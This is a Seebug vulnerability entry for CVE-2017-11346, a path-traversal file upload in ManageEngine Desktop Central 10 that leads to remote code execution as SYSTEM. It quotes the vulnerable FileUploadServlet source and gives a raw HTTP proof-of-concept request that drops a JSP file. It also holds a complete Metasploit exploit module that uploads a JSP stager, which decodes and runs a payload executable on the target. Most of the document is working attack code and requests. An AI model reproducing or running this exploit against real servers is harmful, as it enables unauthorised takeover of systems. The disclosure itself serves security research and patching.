ManageEngine Desktop Central 10 Build 100087 RCE(CVE-2017-11346)

2017-07-25T00:00:00
ID SSV:96295
Type seebug
Reporter Root
Modified 2017-07-25T00:00:00

Description

Description:

When uploading a file, the FileUploadServlet class does not check the user-controlled fileName parameter using hasVulnerabilityInFileName function.

This allows a remote attacker to create a malicious file and place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM.

``` package com.adventnet.sym.webclient.common;

public class FileUploadServlet extends HttpServlet { private Logger logger = Logger.getLogger("RDSLogger");

public static final String RDS_UPLOAD = "rds_file_upload";

public static final String SCRIPT_LOG_UPLOAD = "scriptLog";

public static final String HELPDESK_VIDEO_UPLOAD = "HelpDesk_video";

public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String sourceMethod = "FileUploadServlet::doPost"; this.logger.log(Level.INFO, sourceMethod + " -> Received request from : " + request.getRemoteHost()); String action = request.getParameter("action"); if ("scriptLog".equals(action)) { scriptLogUpload(request, response); } else if ("rds_file_upload".equals(action)) { rdsScreenUpload(request, response); } else if ("HelpDesk_video".equals(action)) { helpDeskVideoUpload(request, response); } }

private void helpDeskVideoUpload(HttpServletRequest request, HttpServletResponse response) { String sourceMethod = "FileUploadServlet::helpDeskVideoUpload"; try { String action = request.getParameter("action"); String resourceId = request.getParameter("resourceId"); String compName = request.getParameter("computerName"); long customerId = Long.parseLong(request.getParameter("customerId")); String videoFileName = request.getParameter("fileName"); Long nDataLength = Long.valueOf(request.getContentLength()); try { PrintWriter responsetoAgent = response.getWriter(); if ((compName != null) && (FileUploadUtil.hasVulnerabilityInFileName(compName))) { this.logger.log(Level.WARNING, "FileUploadServlet : Going to reject the helpDeskVideoUpload request from: compName:{0}", new Object[] { compName }); response.sendError(403, "Request Refused"); return; }

     long freeSpace = RDSUtil.getInstance().getServerFreeSpace();
     if (nDataLength.longValue() < freeSpace) {
       String server_home = DCMetaDataUtil.getInstance().getServerDataDir(Long.valueOf(customerId));
       String fs = File.separator;
       this.logger.log(Level.FINE, sourceMethod + " -> The server home path is : " + server_home);
       String absoluteFileName = server_home + fs + "HelpDesk" + fs + compName + "_" + resourceId;
       if (!ApiFactory.getFileAccessAPI().isFileExists(absoluteFileName))
       {
         ApiFactory.getFileAccessAPI().createDirectory(absoluteFileName);
       }
       absoluteFileName = absoluteFileName + fs + videoFileName;
       String receivedStatus = downloadFile(request, absoluteFileName);
       if ("Success".equalsIgnoreCase(receivedStatus)) {
         response.setHeader("Upload_Status", receivedStatus);
       }
     }
     else {
       this.logger.log(Level.WARNING, sourceMethod + " -> No required Space is availbale to store the video file ");
       responsetoAgent.println("Status :1|Msg :No enough sapce in server to save video file|");
     }
     this.logger.log(Level.INFO, sourceMethod + " -> The method ended ");
   } catch (Exception ex) {
     response.sendError(500, "Problem while retriving video in server");
     this.logger.log(Level.WARNING, sourceMethod + " -> Exception occured : " + ex);
   }
 } catch (Exception ex) {
   this.logger.log(Level.WARNING, sourceMethod + " -> Exception occured : " + ex);
 }

}

private String downloadFile(HttpServletRequest request, String destnAbsoluteFileName) { String status = "Success"; Long nDataLength = Long.valueOf(request.getContentLength()); String checkSumValue = request.getParameter("checkSumValue"); try { String sourceMethod = "FileUploadServlet::downLoadFile"; InputStream appIn = request.getInputStream(); Thread.sleep(5000L); OutputStream outputFile = new FileOutputStream(destnAbsoluteFileName); this.logger.log(Level.INFO, sourceMethod + " -----> Method Starts <-----"); try { int numread = 0; int count = 0; byte[] bytesread = new byte[262144]; long receivedFileSize = 0L; this.logger.log(Level.INFO, sourceMethod + " -> Total Received Data length = : " + nDataLength);

    while ((appIn != null) && ((numread = appIn.read(bytesread)) != -1)) {
      count++;
      this.logger.log(Level.FINE, sourceMethod + " -&gt; Going to write the file: count: " + count + " numread :" + numread);
      outputFile.write(bytesread, 0, numread);
      receivedFileSize += numread;
      this.logger.log(Level.FINE, sourceMethod + " -&gt; receivedFileSize: " + receivedFileSize);
    }

    String checkSum = ChecksumProvider.getInstance().GetMD5HashFromFile(destnAbsoluteFileName);
    this.logger.log(Level.INFO, sourceMethod + " Generated checksum value is : " + checkSum);
    if ((nDataLength.longValue() != receivedFileSize) || (!checkSum.equals(checkSumValue))) {
      status = "Failed";
    }
  }
  catch (Exception e) {
    this.logger.log(Level.WARNING, " -&gt; Exception occured while writing file: " + e);
  } finally {
    outputFile.close();
    if (appIn != null) {
      appIn.close();
    }
  }
  this.logger.log(Level.INFO, sourceMethod + "  -----&gt; Method Ends  &lt;-----");
} catch (Exception e) {
  this.logger.log(Level.WARNING, " -&gt; Exception occured : " + e);
}
return status;

} } ```

Proof of Concept:

Download Metasploit Module

Send request: ``` POST /fileupload?action=HelpDesk_video&computerName=hacked&resourceId=1&fileName=........\jspf\hack.jsp&customerId=1 HTTP/1.1 Host: localhost:8020 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.8 Connection: close Content-Length: 29

<%= new String("Hello!") %> ```

Then visit: http://localhost:8020/jspf/hack.jsp

Timeline:

  • 21-04-2017: Discovered
  • 05-05-2017: Vendor notified
  • 12-07-2017: New version released, issue resolved
                                        
                                            
                                                ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'nokogiri'

class Metasploit3 &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           =&gt; "ManageEngine Desktop Central 10 FileUploadServlet fileName RCE Vulnerability",
      'Description'    =&gt; %q{
        This module exploits a vulnerability found in ManageEngine Desktop Central 10. When
        uploading a file, the FileUploadServlet class does not check the user-controlled
        fileName parameter. This allows a remote attacker to create a malicious file and place
        it under a directory that allows server-side scripts to run,
        which results in remote code execution under the context of SYSTEM.

        This exploit was successfully tested on version 10, build 100087.

        Exploit code based on https://www.exploit-db.com/exploits/38982/
      },
      'License'        =&gt; MSF_LICENSE,
      'Author'         =&gt; [ 'Kacper Szurek' ],
      'References'     =&gt;
        [
          [ 'URL', 'https://security.szurek.pl/manageengine-desktop-central-10-build-100087-rce.html' ]
        ],
      'Platform'       =&gt; 'win',
      'Targets'        =&gt;
        [
          [ 'ManageEngine Desktop Central 10 on Windows', {} ]
        ],
      'Payload'        =&gt;
        {
          'BadChars' =&gt; "\x00"
        },
      'Privileged'     =&gt; false,
      'DisclosureDate' =&gt; "July 24 2017",
      'DefaultTarget'  =&gt; 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path for ManageEngine Desktop Central', '/']),
        Opt::RPORT(8020)
      ], self.class)
  end

  def jsp_drop_bin(bin_data, output_file)
    jspraw =  %Q|&lt;%@ page import="java.io.*" %&gt;\n|
    jspraw &lt;&lt; %Q|&lt;%\n|
    jspraw &lt;&lt; %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|

    jspraw &lt;&lt; %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|

    jspraw &lt;&lt; %Q|int numbytes = data.length();\n|

    jspraw &lt;&lt; %Q|byte[] bytes = new byte[numbytes/2];\n|
    jspraw &lt;&lt; %Q|for (int counter = 0; counter &lt; numbytes; counter += 2)\n|
    jspraw &lt;&lt; %Q|{\n|
    jspraw &lt;&lt; %Q|  char char1 = (char) data.charAt(counter);\n|
    jspraw &lt;&lt; %Q|  char char2 = (char) data.charAt(counter + 1);\n|
    jspraw &lt;&lt; %Q|  int comb = Character.digit(char1, 16) & 0xff;\n|
    jspraw &lt;&lt; %Q|  comb &lt;&lt;= 4;\n|
    jspraw &lt;&lt; %Q|  comb += Character.digit(char2, 16) & 0xff;\n|
    jspraw &lt;&lt; %Q|  bytes[counter/2] = (byte)comb;\n|
    jspraw &lt;&lt; %Q|}\n|

    jspraw &lt;&lt; %Q|outputstream.write(bytes);\n|
    jspraw &lt;&lt; %Q|outputstream.close();\n|
    jspraw &lt;&lt; %Q|%&gt;\n|

    jspraw
  end

  def jsp_execute_command(command)
    jspraw =  %Q|&lt;%@ page import="java.io.*" %&gt;\n|
    jspraw &lt;&lt; %Q|&lt;%\n|
    jspraw &lt;&lt; %Q|try {\n|
    jspraw &lt;&lt; %Q|  Runtime.getRuntime().exec("chmod +x #{command}");\n|
    jspraw &lt;&lt; %Q|} catch (IOException ioe) { }\n|
    jspraw &lt;&lt; %Q|Runtime.getRuntime().exec("#{command}");\n|
    jspraw &lt;&lt; %Q|%&gt;\n|

    jspraw
  end

  def get_jsp_stager
    exe = generate_payload_exe(code: payload.encoded)
    jsp_fname = "#{Rex::Text.rand_text_alpha(5)}.jsp"

    register_files_for_cleanup("../webapps/DesktopCentral/jspf/#{jsp_fname}")

    {
      jsp_payload: jsp_drop_bin(exe, jsp_fname) + jsp_execute_command(jsp_fname),
      jsp_name:    jsp_fname
    }
  end

  def get_build_number(res)
    inputs = res.get_hidden_inputs
    inputs.first['buildNum']
  end

  def get_html_title(res)
    html = res.body
    n = ::Nokogiri::HTML(html)
    x = n.xpath('//title').text
  end

  def check
    uri = normalize_uri(target_uri.path, '/configurations.do')

    res = send_request_cgi({
      'method' =&gt; 'GET',
      'uri'    =&gt; uri
    })

    unless res
      print_error("Connection timed out")
      return Exploit::CheckCode::Unknown
    end

    build_number = get_build_number(res)
    if build_number.to_s.empty?
      print_error("Cannot find build number")
    else
      print_status("Found build number: #{build_number}")
    end
    
    html_title   = get_html_title(res)

    if html_title.to_s.empty?
      print_error("Cannot find title")
    else
      print_status("Found title: #{html_title}")
    end
   
    if build_number.to_i &lt;= 100087
      return Exploit::CheckCode::Appears
    elsif /ManageEngine Desktop Central 10/ === html_title
      return Exploit::CheckCode::Detected
    end


    Exploit::CheckCode::Safe
  end

  def upload_jsp(stager_info)
    uri = normalize_uri(target_uri.path, 'fileupload')

    res = send_request_cgi({
      'method'    =&gt; 'POST',
      'uri'     =&gt; uri,
      'ctype'     =&gt; 'application/octet-stream',
      'encode_params' =&gt; false,
      'data'      =&gt; stager_info[:jsp_payload],
      'vars_get'    =&gt; {
        'action'    =&gt; 'HelpDesk_video',
        'computerName'  =&gt; Rex::Text.rand_text_alpha(rand(10)+5),
        'resourceId'  =&gt; 1,
        'customerId'  =&gt; 1,
        'fileName'    =&gt; "\\..\\..\\..\\..\\jspf\\#{stager_info[:jsp_name]}"
      }
    })

    if res.nil?
      fail_with(Failure::Unknown, "Connection timed out while uploading to #{uri}")
    elsif res && res.code != 200
      fail_with(Failure::Unknown, "The server returned #{res.code}, but 200 was expected.")
    end
  end

  def exec_jsp(stager_info)
    uri = normalize_uri(target_uri.path, "/jspf/#{stager_info[:jsp_name]}")

    res = send_request_cgi({
      'method' =&gt; 'GET',
      'uri'    =&gt; uri
    })

    if res.nil?
      fail_with(Failure::Unknown, "Connection timed out while executing #{uri}")
    elsif res && res.code != 200
      fail_with(Failure::Unknown, "Failed to execute #{uri}. Server returned #{res.code}")
    end
  end

  def exploit
    print_status("Creating JSP stager")
    stager_info = get_jsp_stager

    print_status("Uploading JSP stager #{stager_info[:jsp_name]}...")
    upload_jsp(stager_info)

    print_status("Executing stager...")
    exec_jsp(stager_info)
  end

end